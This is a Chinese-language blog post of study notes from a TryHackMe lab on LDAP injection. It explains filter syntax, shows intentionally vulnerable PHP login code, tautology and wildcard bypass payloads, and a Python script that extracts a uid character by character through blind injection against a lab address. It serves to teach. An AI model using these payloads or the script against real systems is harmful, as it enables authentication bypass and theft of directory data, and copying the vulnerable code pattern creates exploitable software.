xinyi709

Loading...

LDAP注入

以下是我根据在THM网站的学习,写下的笔记

LDAP结构

LDAP代表轻量级目录访问协议,是一种广泛使用的协议,用于通过互联网协议(IP)网络访问和维护分布式目录信息服务。LDAP使组织能够集中管理用户,以及组和其他目录信息,通常用于Web和内部应用程序中的身份验证和授权。

在 LDAP 中,目录项被结构化为对象,每个对象都遵守定义适用于对象的规则和属性的特定模式。这种面向对象的方法确保了一致性,并控制了在目录中如何表示和操纵像用户或组这样的对象。

格式如下:

f6e0e81b34c5e02559b27b192aba794a

在 LDAP 树的顶部,我们找到顶级域 (TLD),例如 dc=ldap,dc=thm。在TLD之下,可能有子域或组织单位(OU),例如ou=people或ou=groups,它们进一步对目录条目进行分类。

LDAP搜索查询

LDAP搜索查询由几个组件组成,每个组件在搜索操作中提供特定的功能:

  1. 基准DN(Distinguish Name):这是目录树中搜索的起点。
    范围:定义搜索应该从基础DN走多深。可以是以下之一:
  • base(仅搜索基准DN)
  • one(搜索基准DN的直系),
  • sub(搜索基准DN及其所有后代)。
  1. 过滤器: 必须在搜索结果中返回一个标准条目。它使用特定的语法来定义这些标准。

  2. 属性: 指定在搜索结果中应返回匹配项的哪些特征。

LDAP 搜索查询的基本语法如下:

(base DN) (scope) (filter) (attributes)

过滤器的语法

LDAP 过滤器的语法定义在 RFC 4515 中,过滤器表示为具有特定格式的字符串,例如(canonicalName=value)。LDAP过滤器可以使用各种运算符来完善搜索条件,包括equality(=)、存在(=*)、大于(>=)和小于(<=)。

LDAP过滤器中最重要的操作符之一是通配符*,它表示与任意数量的字符相匹配。该运算符对于制定广泛或部分匹配的搜索条件至关重要。

例如:

简单过滤器:

(cn=John Doe)

此过滤器针对(cn)的“John Doe”。

通配符:

(cn=J*)

此过滤器应用通配符来匹配 cn 以J开头的任何条目

带逻辑运算符的复杂过滤器:

对于更复杂的搜索查询,可以使用逻辑运算符(如AND(&),OR(|)和NOT(!)等逻辑运算符相互使用。

(&(objectClass=user)(|(cn=John*)(cn=Jane*)))

此过滤器搜索对象类中归类为user的条目,其cn名称以JohnJane开头。

虽然通常不直接暴露,但LDAP服务可以通过端口389(用于未加密或StartTLS连接)和636(用于SSL / TLS连接)通过网络访问。当 LDAP 服务可公开访问时,可以使用 LDAP 套件的一部分 ldapsearch 等工具用于与 LDAP 服务器进行交互。该工具允许用户从命令行查询和修改LDAP目录,使其成为合法管理任务的宝贵资源,不过也可能成为利用LDAP注入漏洞的攻击者。例如:

屏幕截图 2025-07-17 155300

此命令使用 ldapsearch 对位于端口 389 上位于易受攻击的计算机的 LDAP 服务器执行搜索,从基准DN dc=ldap,dc=thm 开始,使用过滤器在 People 的组织单元下搜索条目。

注入

例如,下面是一个简化的PHP代码片段,用于Web应用程序中用于用户针对LDAP服务器进行身份验证:

<?php
$username = $_POST['username'];
$password = $_POST['password'];

$ldap_server = "ldap://localhost";
$ldap_dn = "ou=People,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm";
$admin_password = "tester"; 

$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
    die("Could not connect to LDAP server");
}

ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);

if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
    die("Could not bind to LDAP server with admin credentials");
}

// LDAP search filter
$filter = "(&(uid=$username)(userPassword=$password))";

// Perform the LDAP search
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);

// Check if the search was successful
if ($search_result) {
    // Retrieve the entries from the search result
    $entries = ldap_get_entries($ldap_conn, $search_result);
    if ($entries['count'] > 0) {
        foreach ($entries as $entry) {
            if (is_array($entry)) {
                if (isset($entry['cn'][0])) {
                    $message = "Welcome, " . $entry['cn'][0] . "!\n";
                }
            }
        }
    } else {
        $error = true;
    }
} else {
    $error = "LDAP search failed\n";
}
?>

这个代码是易受攻击的,因为它直接将用户提供的输入($username和$password)插入到了LDAP查询中。

要利用此漏洞,攻击者可以使用恶意 LDAP 过滤器提交用户名。例如,攻击者可以使用像*这样的用户名,当插入到LDAP查询中时,有效地将查询转换为始终评估为true的条件,绕过身份验证。

基于永真式的注入

将条件插入本质上为真的LDAP查询中,从而确保查询始终返回正结果,无论预期的逻辑如何。例如,考虑直接从用户输入插入用户名和密码的 LDAP 身份验证查询:

(&(uid={userInput})(userPassword={passwordInput}))

可以提供这样的输入,例如*)(|(&放到 {userInput} 并且 pwd) 放到 {passwordInput},于是查询转换为:

(&(uid=*)(|(&)(userPassword=pwd)))

这个查询由两部分组成:

(uid=*):与任何具有 uid 属性的条目相匹配,本质上是所有用户,因为通配符*匹配任何值。

(|(&)(userPassword=pwd):OR(|)运算符,这意味着所包含的两个条件中的任何一个正确就能通过过滤器。在 LDAP 中,空的 AND (&) 条件始终被认为是 true。因此无论后面的密码是否正确,这一部分也是true

所以这个查询可以有效地绕过密码检查

(就像SQL注入里面的“万能密码”一样)

通配符注入

用户名与密码都输入通配符*,这样也能绕过

屏幕截图 2025-07-17 161343

此注入始终使 LDAP 查询的条件为真。

但是,仅使用*将始终在查询中获取第一个结果。要针对以特定字符开头的数据,攻击者可以使用类似 f* 的有效载荷,该有效载荷搜索以字母 f 开头的 uid。

屏幕截图 2025-07-17 161548

LDAP盲注

有时候不会从注入的payload直接得到输出,那么就需要根据应用程序的行为推断信息。

由于缺乏明确的查询结果,盲注需要不同的方法。可以依靠间接标志,例如应用程序行为、错误消息或响应时间的变化,以推断 LDAP 查询的结构和漏洞的存在。

例如,下面是一段代码片段,它使用 LDAP 查询来检查用户是否存在,但在失败时只返回一条通用错误消息。应用程序还检查提交的电子邮件是否与数据库中的电子邮件相同:

$username = $_POST['username'];
$password = $_POST['password'];

$ldap_server = "ldap://localhost"; 
$ldap_dn = "ou=users,dc=ldap,dc=thm";
$admin_dn = "cn=tester,dc=ldap,dc=thm"; 
$admin_password = "tester"; 

$ldap_conn = ldap_connect($ldap_server);
if (!$ldap_conn) {
    die("Could not connect to LDAP server");
}

ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);

if (!ldap_bind($ldap_conn, $admin_dn, $admin_password)) {
    die("Could not bind to LDAP server with admin credentials");
}

$filter = "(&(uid=$username)(userPassword=$password))";
$search_result = ldap_search($ldap_conn, $ldap_dn, $filter);

if ($search_result) {
   $entries = ldap_get_entries($ldap_conn, $search_result);
    if ($entries['count'] > 0) {
        foreach ($entries as $entry) {
            if (is_array($entry)) {
                if (isset($entry['cn'][0])) {
                    if($entry['uid'][0] === $_POST['username']){
                        $message = "Welcome, " . $entry['cn'][0] . "!\n";
                    }else{
                        $message = "Something is wrong in your password.\n";
                    }
                }
            }
        }
    } else {
        $error = true;
    }
} else {
    echo "LDAP search failed\n";
}

ldap_close($ldap_conn);

可以先向用户名字段注入条件,使 LDAP 查询为真或假,观察应用程序的行为以推断信息。

例如,尝试注入像a*)(|(&这样的用户名,当包含在 LDAP 查询中时,检查任何用户 uid 是否以“a”开头:

053b772823397558933f0b87b9d182ed

username=a*)(|(&&password=pwd)

由此产生的LDAP查询:

(&(uid=a*)(|(&)(userPassword=pwd))) 

75795810cd9b19f32d96ff8d445f030b

如果应用程序返回“Something is wrong in your password.”,可以推断其 uid 中以“a”开头的帐户的用户存在于 LDAP 目录中。要检查下一个字符,可以在下一个字符的位置重复刚才的payload,例如:

username=ab*)(|(&&password=pwd)

33cde2b19ebe09a39013ef40d8bf3f85

32e2c63e294e84663ee560f7cb6e14d5

这表明下一个字符不是“b”。可以通过观察Web应用程序响应来迭代进行这种注入,类似于SQL注入的布尔盲注。

脚本如下:

import requests
from bs4 import BeautifulSoup
import string
import time

# Base URL
url = 'http://10.10.252.134/blind.php'

# Define the character set
char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "._!@#$%^&*()"

# Initialize variables
successful_response_found = True
successful_chars = ''

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

while successful_response_found:
    successful_response_found = False

    for char in char_set:
        #print(f"Trying password character: {char}")

        # Adjust data to target the password field
        data = {'username': f'{successful_chars}{char}*)(|(&','password': 'pwd)'}

        # Send POST request with headers
        response = requests.post(url, data=data, headers=headers)

        # Parse HTML content
        soup = BeautifulSoup(response.content, 'html.parser')

        # Adjust success criteria as needed
        paragraphs = soup.find_all('p', style='color: green;')

        if paragraphs:
            successful_response_found = True
            successful_chars += char
            print(f"Successful character found: {char}")
            break

    if not successful_response_found:
        print("No successful character found in this iteration.")

print(f"Final successful payload: {successful_chars}")

用这个脚本就可以找到邮箱,完成盲注

posted @ 2026-05-26 09:17  xinyi709  阅读(12)  评论(0)    收藏  举报